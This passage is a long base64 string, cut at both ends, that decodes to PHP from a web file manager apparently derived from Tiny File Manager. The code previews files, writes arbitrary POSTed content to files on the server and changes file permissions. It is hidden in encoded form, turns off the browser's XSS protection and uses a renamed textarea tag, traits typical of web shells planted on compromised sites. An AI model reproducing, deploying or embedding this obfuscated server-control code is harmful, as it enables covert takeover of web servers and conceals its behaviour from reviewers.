gPD9waHAgZWNobyBsbmcoJ0FkdmFuY2VkRWRpdG9yJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPjwvYj4gwqAKICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgIDxiIGNsYXNzPSJtcy0yIj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFjayI+PC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PC9hPjwvYj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIGlmKCRpc19vbmxpbmVWaWV3ZXIpIHsKICAgICAgICAgICAgICAgIGlmKCRvbmxpbmVfdmlld2VyID09ICdnb29nbGUnKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9Imh0dHBzOi8vZG9jcy5nb29nbGUuY29tL3ZpZXdlcj9lbWJlZGRlZD10cnVlJmhsPWVuJnVybD0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiBmcmFtZWJvcmRlcj0ibm8iIHN0eWxlPSJ3aWR0aDoxMDAlO21pbi1oZWlnaHQ6NDYwcHgiPjwvaWZyYW1lPic7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYoJG9ubGluZV92aWV3ZXIgPT0gJ21pY3Jvc29mdCcpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz0iaHR0cHM6Ly92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb20vb3AvZW1iZWQuYXNweD9zcmM9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgZnJhbWVib3JkZXI9Im5vIiBzdHlsZT0id2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4Ij48L2lmcmFtZT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkgewogICAgICAgICAgICAgICAgLy8gWklQIGNvbnRlbnQKICAgICAgICAgICAgICAgIGlmICgkZmlsZW5hbWVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPSJtYXhoZWlnaHQiPic7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicgLiBmbV9lbmMoJGZuWyduYW1lJ10pIC4gJzwvYj48YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGZuWyduYW1lJ10gLiAnICgnIC4gZm1fZ2V0X2ZpbGVzaXplKCRmblsnZmlsZXNpemUnXSkgLiAnKTxicj4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvY29kZT4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nLmxuZygnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJykuJzwvcD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7CiAgICAgICAgICAgICAgICAvLyBJbWFnZSBjb250ZW50CiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHA+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0icHJldmlldy1pbWctem9vbUNoZWNrIj48bGFiZWwgZm9yPSJwcmV2aWV3LWltZy16b29tQ2hlY2siPjxpbWcgc3JjPSInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiBhbHQ9ImltYWdlIiBjbGFzcz0icHJldmlldy1pbWciPjwvbGFiZWw+PC9wPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfYXVkaW8pIHsKICAgICAgICAgICAgICAgIC8vIEF1ZGlvIGNvbnRlbnQKICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9IicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIGNvbnRyb2xzIHByZWxvYWQ9Im1ldGFkYXRhIj48L2F1ZGlvPjwvcD4nOwogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ZpZGVvKSB7CiAgICAgICAgICAgICAgICAvLyBWaWRlbyBjb250ZW50CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJwcmV2aWV3LXZpZGVvIj48dmlkZW8gc3JjPSInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiB3aWR0aD0iNjQwIiBoZWlnaHQ9IjM2MCIgY29udHJvbHMgcHJlbG9hZD0ibWV0YWRhdGEiPjwvdmlkZW8+PC9kaXY+JzsKICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7CiAgICAgICAgICAgICAgICBpZiAoRk1fVVNFX0hJR0hMSUdIVEpTKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gaGlnaGxpZ2h0CiAgICAgICAgICAgICAgICAgICAgJGhsanNfY2xhc3NlcyA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLAogICAgICAgICAgICAgICAgICAgICAgICAnaHRhY2Nlc3MnID0+ICdhcGFjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAncGh0bWwnID0+ICdwaHAnLAogICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLAogICAgICAgICAgICAgICAgICAgICAgICAnc3ZnJyA9PiAneG1sJywKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0OwogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZXh0KSB8fCBpbl9hcnJheShzdHJ0b2xvd2VyKCRmaWxlKSwgZm1fZ2V0X3RleHRfbmFtZXMoKSkgfHwgcHJlZ19tYXRjaCgnI1wubWluXC4oY3NzfGpzKSQjaScsICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gJzxwcmUgY2xhc3M9IndpdGgtaGxqcyI+PGNvZGUgY2xhc3M9IicgLiAkaGxqc19jbGFzcyAuICciPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzwvY29kZT48L3ByZT4nOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHsKICAgICAgICAgICAgICAgICAgICAvLyBwaHAgaGlnaGxpZ2h0CiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBoaWdobGlnaHRfc3RyaW5nKCRjb250ZW50LCB0cnVlKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAnPHByZT4nIC4gZm1fZW5jKCRjb250ZW50KSAuICc8L3ByZT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAkY29udGVudDsKICAgICAgICAgICAgfQogICAgICAgICAgICA/PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocAogICAgICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyBmaWxlIGVkaXRvcgppZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTsKICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpIHx8ICFmbV9pc19leGNsdWRlX2l0ZW1zKCRmaWxlKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CiAgICAkZWRpdEZpbGUgPSAnIDogPGk+PGI+Jy4gJGZpbGUuICc8L2I+PC9pPic7CiAgICBoZWFkZXIoJ1gtWFNTLVByb3RlY3Rpb246MCcpOwogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmaWxlKTsKICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICcvJyAuICRmaWxlOwoKICAgIC8vIG5vcm1hbCBlZGl0ZXIKICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7CiAgICBpZiAoaXNzZXQoJF9HRVRbJ2VudiddKSkgewogICAgICAgIGlmICgkX0dFVFsnZW52J10gPT0gImFjZSIpIHsKICAgICAgICAgICAgJGlzTm9ybWFsRWRpdG9yID0gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8vIFNhdmUgRmlsZQogICAgaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZWRhdGEnXSkpIHsKICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydzYXZlZGF0YSddOwogICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsICJ3Iik7CiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpOwogICAgICAgIGZjbG9zZSgkZmQpOwogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIFNhdmVkIFN1Y2Nlc3NmdWxseScpKTsKICAgIH0KCiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpOwogICAgJGZpbGVzaXplID0gZmlsZXNpemUoJGZpbGVfcGF0aCk7CiAgICAkaXNfdGV4dCA9IGZhbHNlOwogICAgJGNvbnRlbnQgPSAnJzsgLy8gZm9yIHRleHQKCiAgICBpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3RleHRfZXh0cygpKSB8fCBzdWJzdHIoJG1pbWVfdHlwZSwgMCwgNCkgPT0gJ3RleHQnIHx8IGluX2FycmF5KCRtaW1lX3R5cGUsIGZtX2dldF90ZXh0X21pbWVzKCkpKSB7CiAgICAgICAgJGlzX3RleHQgPSB0cnVlOwogICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfcGF0aCk7CiAgICB9CgogICAgPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgogICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tNSBjb2wtbGctNiBwdC0xIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJ0bi10b29sYmFyIiByb2xlPSJ0b29sYmFyIj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAganMtYWNlLXRvb2xiYXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBkYXRhLWNtZD0ibm9uZSIgZGF0YS1vcHRpb249ImZ1bGxzY3JlZW4iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1mdWxsc2NyZWVuIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWV4cGFuZCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz4iPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9ImZpbmQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9InVuZG8iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS11bmRvIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1VuZG8nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXVuZG8iIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnVW5kbycpID8+Ij48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJyZWRvIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2UtcmVkbyIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1yZXBlYXQiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+Ij48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJub25lIiBkYXRhLW9wdGlvbj0id3JhcCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtc2Vjb25kYXJ5IiBpZD0ianMtYWNlLXdvcmRXcmFwIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC13aWR0aCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdXb3JkIFdyYXAnKSA/PiI+PC9pPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLW1vZGUiIGRhdGEtdHlwZT0ibW9kZSIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgRG9jdW1lbnQgVHlwZScpID8+IiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrIj48b3B0aW9uPi0tIDw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgTW9kZScpID8+IC0tPC9vcHRpb24+PC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPSJqcy1hY2UtdGhlbWUiIGRhdGEtdHlwZT0idGhlbWUiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4iIGNsYXNzPSJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2siPjxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+IC0tPC9vcHRpb24+PC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPSJqcy1hY2UtZm9udFNpemUiIGRhdGEtdHlwZT0iZm9udFNpemUiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VsZWN0IEZvbnQgU2l6ZScpID8+IiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrIj48b3B0aW9uPi0tIDw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgRm9udCBTaXplJykgPz4gLS08L29wdGlvbj48L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0LWZpbGUtYWN0aW9ucyBjb2wteHMtMTIgY29sLXNtLTcgY29sLWxnLTYgdGV4dC1lbmQgcHQtMSI+CiAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mdmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1yZXBseS1hbGwiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjwvYT4KICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnQmFja1VwJykgPz4iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImJhY2t1cCgnPD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4nKSI+PGkgY2xhc3M9ImZhIGZhLWRhdGFiYXNlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjwvYT4KICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNOb3JtYWxFZGl0b3IpIHsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9IkFkdmFuY2VkIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZlbnY9YWNlIj48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXN1Y2Nlc3MiIG5hbWU9IlNhdmUiIGRhdGEtdXJsPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+IiBvbmNsaWNrPSJlZGl0X3NhdmUodGhpcywnbnJsJykiPjxpIGNsYXNzPSJmYSBmYS1mbG9wcHktbyI+PC9pPiBTYXZlCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSJQbGFpbiBFZGl0b3IiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmVkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC1oZWlnaHQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXN1Y2Nlc3MiIG5hbWU9IlNhdmUiIGRhdGEtdXJsPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+IiBvbmNsaWNrPSJlZGl0X3NhdmUodGhpcywnYWNlJykiPjxpIGNsYXNzPSJmYSBmYS1mbG9wcHktbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2F2ZScpID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPD9waHAKICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7CiAgICAgICAgICAgIGVjaG8gJzx0ZXh0YXJlYXBvcG9qaWNtcyBjbGFzcz0ibXQtMiIgaWQ9Im5vcm1hbC1lZGl0b3IiIHJvd3M9IjMzIiBjb2xzPSIxMjAiIHN0eWxlPSJ3aWR0aDogOTkuNSU7Ij4nIC4gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCkgLiAnPC90ZXh0YXJlYXBvcG9qaWNtcz4nOwogICAgICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImtleWRvd24iLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKCJNYWMiKSA/IGUubWV0YUtleSA6IGUuY3RybEtleSkgICYmIGUua2V5Q29kZSA9PSA4MykgeyBlLnByZXZlbnREZWZhdWx0KCk7ZWRpdF9zYXZlKHRoaXMsIm5ybCIpO319LCBmYWxzZSk7PC9zY3JpcHQ+JzsKICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHsKICAgICAgICAgICAgZWNobyAnPGRpdiBpZD0iZWRpdG9yIiBjb250ZW50ZWRpdGFibGU9InRydWUiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8L2Rpdj4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGSUxFIEVYVEVOU0lPTiBIQVMgTk9UIFNVUFBPUlRFRCcpLCAnZXJyb3InKTsKICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyBjaG1vZCAobm90IGZvciBXaW5kb3dzKQppZiAoaXNzZXQoJF9HRVRbJ2NobW9kJ10pICYmICFGTV9SRUFET05MWSAmJiAhRk1fSVNfV0lOKSB7CiAgICAkZmlsZSA9ICRfR0VUWydjaG1vZCddOwogICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTsKICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSAmJiAhaXNfZGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmaWxlOwogICAgJGZpbGVfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7CgogICAgJG1vZGUgPSBmaWxlcGVybXMoJHBhdGggLiAnLycgLiAkZmlsZSk7CiAgICA/PgogICAgPGRpdiBjbGFzcz0icGF0aCI+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCBtYi0yIDw/cGhwIGVjaG8gZm1fZ2V0X3RoZW1lKCk7ID8+Ij4KICAgICAgICAgICAgPGg2IGNsYXNzPSJjYXJkLWhlYWRlciI+CiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PgogICAgICAgICAgICA8L2g2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNhcmQtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydsYWJlbCddOyA/PjogPD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydwYXRoJ107ID8+PGJyPgogICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaG1vZCIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PiI+CgogICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0idGFibGUgY29tcGFjdC10YWJsZSA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij48Yj48P3BocCBlY2hvIGxuZygnUmVhZCcpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXIiIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnciIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDA0MCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im9yIiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDA0KSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAg